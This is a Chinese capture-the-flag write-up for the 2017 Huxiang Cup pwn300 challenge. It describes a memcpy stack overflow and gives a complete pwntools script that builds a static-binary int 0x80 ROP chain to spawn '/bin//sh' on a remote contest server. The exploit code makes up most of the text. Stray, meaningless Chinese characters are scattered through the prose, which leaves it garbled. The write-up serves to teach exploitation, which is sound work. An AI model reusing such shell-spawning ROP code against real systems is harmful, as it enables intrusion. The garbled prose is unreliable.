2017年湖湘杯的一道pwn題
用memcpy把堆中數(shù)據(jù)向棧上寫的時(shí)候造成棧溢出
稍微注意下這里棧溢出進(jìn)行覆蓋時(shí)會(huì)把棧上存放堆地址的位置也覆蓋掉了,后面free的時(shí)候由于參數(shù)不是有效的堆地址會(huì)出一點(diǎn)問題灼卢。這里直接覆蓋為0捅暴,從而執(zhí)行free(0)担锤,就不會(huì)出錯(cuò)了瑞躺。
程序是靜態(tài)鏈接的,直接構(gòu)造int 0x80的rop鏈,另外‘bin/sh'直接存放在ResultMul(0x080EBF28)和ResultAdd(0x080EBF2C)里面就可以了
from pwn import *
#p=process('./pwn300')
p=remote('118.190.83.164',10080)
def add(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('1')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def sub(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def mul(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('3')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def div(a1,a2):
p.recvuntil('5 Save the result')
p.sendline('4')
p.recvuntil('input the integer x:')
p.sendline(str(a1))
p.recvuntil('input the integer y:')
p.sendline(str(a2))
def save():
p.recvuntil('5 Save the result')
p.sendline('5')
p.recvuntil('How many times do you want to calculate:')
p.sendline('27')
#gdb.attach(p,'b* 0x8048f9d')
for i in range(16):
add(0,0)
add(0,0x80bb406)#pop eax ; ret
add(0,11)
add(0,0x806ed0a)#pop edx ; ret
add(0,0)
add(0,0x806ed31)#pop ecx ; pop ebx ; ret
add(0,0)
add(0,0x80ebf28)#
add(0,0x8049781)#int 0x80
mul(1,0x6e69622f)
add(0,0x68732f2f)
save()
p.interactive()
PS:鶸的每日一坑...一開始用execve('/bin/sh;')怎么都不對(duì)。投慈。。最后想到用過一個(gè)shellcode里面用的是 ??
'/bin//sh'策吠,試了下成了> <!
原因還待探索逛裤。